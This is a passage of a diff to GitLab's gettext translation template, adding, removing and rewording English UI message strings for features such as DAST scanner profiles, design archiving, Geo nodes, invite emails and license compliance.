+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
